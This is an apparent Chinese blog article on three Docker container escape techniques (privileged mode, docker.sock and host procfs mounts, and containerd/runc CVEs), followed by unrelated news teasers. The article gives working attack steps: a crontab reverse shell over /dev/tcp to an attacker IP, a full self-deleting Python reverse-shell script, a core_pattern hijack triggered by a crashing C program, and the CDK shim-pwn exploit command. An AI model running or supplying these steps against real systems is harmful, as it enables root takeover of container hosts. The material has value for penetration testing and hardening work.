三种Docker逃逸技术

发布时间:2026/7/31 14:02:21

三种Docker逃逸技术
本文详细介绍了判断Docker容器环境的方法并系统阐述了三种主要的Docker逃逸技术特权模式逃逸、危险挂载逃逸以及利用Docker自身漏洞逃逸。文章通过具体的命令操作和原理说明展示了从检测到实施逃逸的完整过程。1.判断Docker容器环境通过检查根目录下是否存在.dockerenv文件来判断当前是否处于Docker容器中。使用ls -alh命令若出现.dockerenv文件则确定在容器内。ls -alh2.特权模式逃逸2.1特权模式判断使用fdisk -l命令若成功列出磁盘信息则可能处于特权模式若出现多个Permission denied则可能为非特权模式。通过检查/proc/self/status文件内容使用egrep检索特定字符序列如0000003fffffffff或0000001fffffffff来精确判断是否为特权模式。cat /proc/self/status | egrep -qi 0000003fffffffff|0000001fffffffff echo Is privileged mode || echo Not privileged mode2.2逃逸实施步骤(1)在确认特权模式后创建目录如/test并将宿主机磁盘如/dev/sda1挂载到该目录。mkdir /test mount /dev/sda1 /test(2)通过向挂载的宿主机文件系统写入计划任务如修改/test/etc/crontab文件来添加反弹shell命令从而在宿主机上获得反向连接。反弹shellecho * * * * * root bash -i /dev/tcp/192.168.1.100/4444 01 /test/etc/crontab(3)使用nc命令在攻击机开启监听等待宿主机执行计划任务后建立连接并通过检查挂载目录下的宿主机文件如/test/root来确认逃逸成功。nc -lvvp 4444ls -alh /test/root3.危险挂载逃逸3.1挂载Docker Socket逃逸原理是通过容器内挂载的/var/run/docker.sock文件与宿主机Docker守护进程通信。若容器内无/var/run/docker.sock文件可先安装Docker客户端。查看文件ls -lah /var/run/docker.sock安装docker客户端curl -fsSL https://get.docker.com/ | sh2.利用Docker命令如docker run创建新容器并将宿主机根目录挂载到新容器内使用-v /:/host参数。创建新容器docker run -it -v /:/host ubuntu /bin/bash3.在新容器内使用chroot /host命令切换根目录到宿主机文件系统从而完成逃逸。切换根目录到宿主机文件系统chroot /host3.2挂载宿主机Procfs逃逸原理linux在程序崩溃时会生成一个core文件通过篡改宿主机生成core文件的内核配置文件core_pattern使得系统崩溃并自动执行x.py反弹shell写入x.py中此时我们只需要上传一个c文件并触发程序崩溃反弹shell成功确定是procfs逃逸利用容器内挂载的宿主机proc文件系统。使用find命令确认存在两个core_pattern路径容器内和宿主机。core_pattern是 Linux内核中控制‌核心转储Core Dump‌ 行为的关键配置项。当程序崩溃如发生段错误 Segmentation Fault时操作系统会生成一个包含进程内存快照的文件即 core 文件。core_pattern 决定了这个 core 文件‌存储在哪里‌以及‌如何命名‌。/proc/sys/kernel/core_pattern宿主机配置项/host/proc/sys/kernel/core_pattern将宿主机配置项挂载到容器环境容器在宿主机的真实存储路径。通过cat /proc/mounts | grep workdir命令寻找容器在宿主机的真实存储路径如Overlay2的工作目录在容器内创建包含反弹shell代码的Python脚本如/tmp/.x.py并赋予执行权限chmod x /tmp/.x.py。cat /tmp/.x.py EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost xx.xx.xx.xxlport xxxxdef main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close()if __name__ __main__:main()EOF篡改宿主机/host/proc/sys/kernel/core_pattern的core_pattern配置将其指向容器内的恶意脚本路径。echo -e |/var/lib/docker/overlay2/123abc789def/merged/tmp/.x.py \rcore /host/proc/sys/kernel/core_pattern-e 参数允许解释反斜杠转义字符。|‌最关键的部分‌。在 core_pattern中如果值以管道符 | 开头内核会将崩溃进程的 core dump 数据通过标准输入stdin传递给紧随其后的程序而不是保存为文件。‌该程序将以 root 权限执行‌。创建并执行一个会引起崩溃的C程序如/tmp/x.c触发核心转储机制从而执行恶意脚本使攻击机获得宿主机反弹shell。cat /tmp/x.c EOF#include stdio.hint main() {int *p; // 未初始化// 错误p 指向随机地址解引用导致非法访问*p 42;return 0;}EOF攻击机开始监听nc -lvvp 4444执行引起崩溃的代码./x逃逸成功4.Docker自身漏洞逃逸CVE-2020-15257CVE-2019-5736PoC地址https://github.com/Frichetten/CVE-2019-5736-PoC.gitCVE-2020-15257poc工具CDK云安全自动化渗透框架参考地址http://github.com/cdk-team/CDK/wiki/CDK-Home-CN1漏洞原理。CVE-2020-15257 是 containerd 组件中的一个容器逃逸漏洞。该漏洞允许攻击者在特定条件下通过访问containerd-shim的 API 套接字在宿主机上以 root 权限执行任意命令从而完全控制宿主机。主要原理containerd-shim 用于管理容器生命进程它通过抽象 Unix 域套接字Abstract Unix Domain Socket暴露 API。在旧版本中该套接字的访问控制仅验证连接进程的有效 UID 是否为 0root而未严格限制网络命名空间。当容器使用 --nethost模式启动时容器与宿主机共享网络命名空间使得容器内的 root 用户可以直接访问宿主机的 containerd-shim API 套接字。2漏洞利用前提。要成功利用此漏洞必须同时满足以下三个条件一是‌Containerd 版本过低‌containerd 版本低于 1.3.9 或 1.4.3。二是‌容器使用主机网络‌容器启动时使用了--nethost(Docker) 或hostNetwork: true(Kubernetes)导致容器与宿主机共享网络命名空间。三是‌容器内为 Root 用户‌容器内的进程以 UID 0 (root) 运行。如果容器内是非 root 用户则无法通过 UID 验证。3漏洞利用下载CDK工具wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_linux_amd64chmod x cdk_linux_amd64上传至容器环境docker cp cdk_linux_amd64 vuln-container:/tmp/docker exec -it vuln-container /bin/bashcd /tmp执行漏洞利用程序# 语法: ./cdk run shim-pwn attack-ip port./cdk_linux_amd64 run shim-pwn 192.168.1.100 4444

相关新闻

电芯热管理联合仿真:AMESIM与STAR-CCM+实践

电芯热管理联合仿真:AMESIM与STAR-CCM+实践

2026/7/31 13:52:21

1. 为什么需要联合仿真:电芯热管理的挑战 在新能源电池系统开发中,电芯的热行为仿真一直是个棘手的难题。我经手过的几个动力电池项目中,团队最初尝试用单一仿真工具时总会遇到这样的困境:要么能准确计算电芯内部产热但无法模拟外…

乐高漫威抽抽乐阿加莎人仔识别与收藏全攻略

乐高漫威抽抽乐阿加莎人仔识别与收藏全攻略

2026/7/31 13:52:21

在玩具收藏和开箱分享领域,乐高漫威抽抽乐系列因其盲盒属性和热门IP角色而备受关注。其中,阿加莎哈克尼斯(Agatha Harkness)作为漫威宇宙中的经典女巫角色,其乐高人仔更是系列中的亮点之一。本文将围绕如何识别、获取并…

Q-learning算法实战:从零构建AI迷宫寻路智能体

Q-learning算法实战:从零构建AI迷宫寻路智能体

2026/7/31 13:52:21

1. 项目概述:当AI学会“试错” 几年前,我第一次接触强化学习时,被一个简单的想法震撼了:一个完全不懂迷宫规则的智能体,仅凭“尝试”和“奖励”,最终能自己找到出口。这听起来像科幻情节,但用Q-…

胶辊的材质有哪些?不同胶辊材质分别适合什么场景?

胶辊的材质有哪些?不同胶辊材质分别适合什么场景?

2026/7/31 15:02:28

在工业生产中,胶辊是输送、涂布、压榨、覆膜工序的核心配件,广泛应用于印刷、造纸、锂电、纺织等行业。很多企业采购和设备运维人员,经常不清楚胶辊的材质有哪些,也无法根据生产工况精准选型。不同材质的胶辊在耐磨性、耐温性、耐…

星火科技助力边远地区防病攻坚

星火科技助力边远地区防病攻坚

2026/7/31 15:02:28

你好!这是一个非常有意义且值得深入探讨的话题。星火科技项目与地方病防治的结合,特别是在少数民族和偏远地区,体现了科技赋能基层健康、精准解决民生痛点的先进理念。下面我将为你详细介绍这一领域的相关情况、核心模式、面临的挑战以及未来…

浮动利率债券特性与利率风险对冲策略

浮动利率债券特性与利率风险对冲策略

2026/7/31 15:02:28

1. 浮动利率债券的核心特性解析 浮动利率债券(Floating Rate Notes, FRNs)作为固定收益证券的特殊品类,其票面利率会定期根据基准利率(如LIBOR、SOFR或国债收益率)进行调整。这种动态调整机制使其成为利率上行周期中的…

GitHub Code Quality GA 后,100 名开发者真的只要每月 1000 美元吗?

GitHub Code Quality GA 后,100 名开发者真的只要每月 1000 美元吗?

2026/7/31 15:02:28

GitHub Code Quality GA 后,100 名开发者真的只要每月 1000 美元吗? 事实核验时间:2026 年 7 月 30 日。文中的价格演算均为示例,不是作者账单、客户数据或 GitHub 官方 ROI。 发布边界:公开价、产品支持范围、Runner …

五天变半天!中新赛克以 AI 破解 MEMS 芯片制造工艺漂移溯源难题

五天变半天!中新赛克以 AI 破解 MEMS 芯片制造工艺漂移溯源难题

2026/7/31 15:02:28

一块MEMS芯片从晶圆制造到封装测试,历经数十道工序,每道工序的测试数据以TB级增长。当某批次良率出现异常波动时,质量工程师需要从成百上千个参数维度中逐一排查。一位资深工程师曾耗时五天,翻遍十几个工序的测试日志,…

制造业智能化提速:AI 应用普及率稳步提高

制造业智能化提速:AI 应用普及率稳步提高

2026/7/31 14:52:27

最近这几年,国内的各个行业都在慢慢做产业升级和转型,其中“人工智能制造”的相关发展工作,也一直在慢慢推进当中。人工智能这项技术,也在一点点走进各大工厂的生产环节。现在有越来越多的制造企业,都开始接触和使用人…

[具身智能-649]:个人电脑搭建 RTSP 服务完整方案(Windows / Ubuntu 双平台,适配 RDK X5 rtsp2display 调试)

[具身智能-649]:个人电脑搭建 RTSP 服务完整方案(Windows / Ubuntu 双平台,适配 RDK X5 rtsp2display 调试)

2026/7/30 9:53:22

目标:电脑作为RTSP 服务端,循环推送 H264/H265 视频流; RDK X5 通过 rtsp2display 拉流预览,完全不需要在开发板编译 live555。 提供两套成熟方案: ✅ 方案 A:FFmpeg(最简单,优先推…

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

2026/7/30 1:17:46

一、背景与测试方案 在实际项目交付中,PDF文件合并与版权保护水印的叠加是一个高频但容易被低估的技术需求。典型的处理链路涉及:多源PDF的文件流合并、页面级水印渲染(含透明度混合与图层叠加)、输出文件体积控制。看似简单的操作…

PDF拆分压完图糊了?2026国内免费实测,档案员都在用的组合方案

PDF拆分压完图糊了?2026国内免费实测,档案员都在用的组合方案

2026/7/30 2:52:37

说实话,提到PDF拆分再压缩,我真是被折腾得够呛。 上个月公司年度合同归档,一份300多页的PDF总合同,需要按年份拆分成三个独立文件,再分别压缩到10MB以内方便邮件发送各部门确认。我心想这还不简单?先找个海…

2026优质EMBA择校榜单:校友圈质量高的EMBA适配民企创始人

2026优质EMBA择校榜单:校友圈质量高的EMBA适配民企创始人

2026/7/31 0:01:23

【客观独立测评】深耕商科教育测评多年,聚焦民企创始人、科创企业实控人择校痛点,避开镀金空壳、课程脱节、圈层杂乱的踩坑问题,结合真实办学数据与学员口碑,整理出适配实业高管的高性价比EMBA榜单,理性分析各项目适配…

绝区零一条龙:5分钟快速上手的终极自动化助手

绝区零一条龙:5分钟快速上手的终极自动化助手

2026/7/31 0:01:23

绝区零一条龙:5分钟快速上手的终极自动化助手 【免费下载链接】ZenlessZoneZero-OneDragon 绝区零 一条龙 | 全自动 | 自动闪避 | 自动每日 | 自动空洞 | 支持手柄 项目地址: https://gitcode.com/gh_mirrors/ze/ZenlessZoneZero-OneDragon 绝区零一条龙是一…

2026民企老板EMBA择校榜单:人脉圈广的EMBA高性价比测评

2026民企老板EMBA择校榜单:人脉圈广的EMBA高性价比测评

2026/7/31 0:01:23

【客观中立测评声明】本文基于学费成本、课程落地、圈层纯度、长期赋能四大维度实测打分,无商业洗脑吹捧,仅为民企创始人、科创高管提供真实择校参考,规避镀金踩坑陷阱。不少民营企业家读EMBA容易踩两大坑:盲目追名校排名&#xf…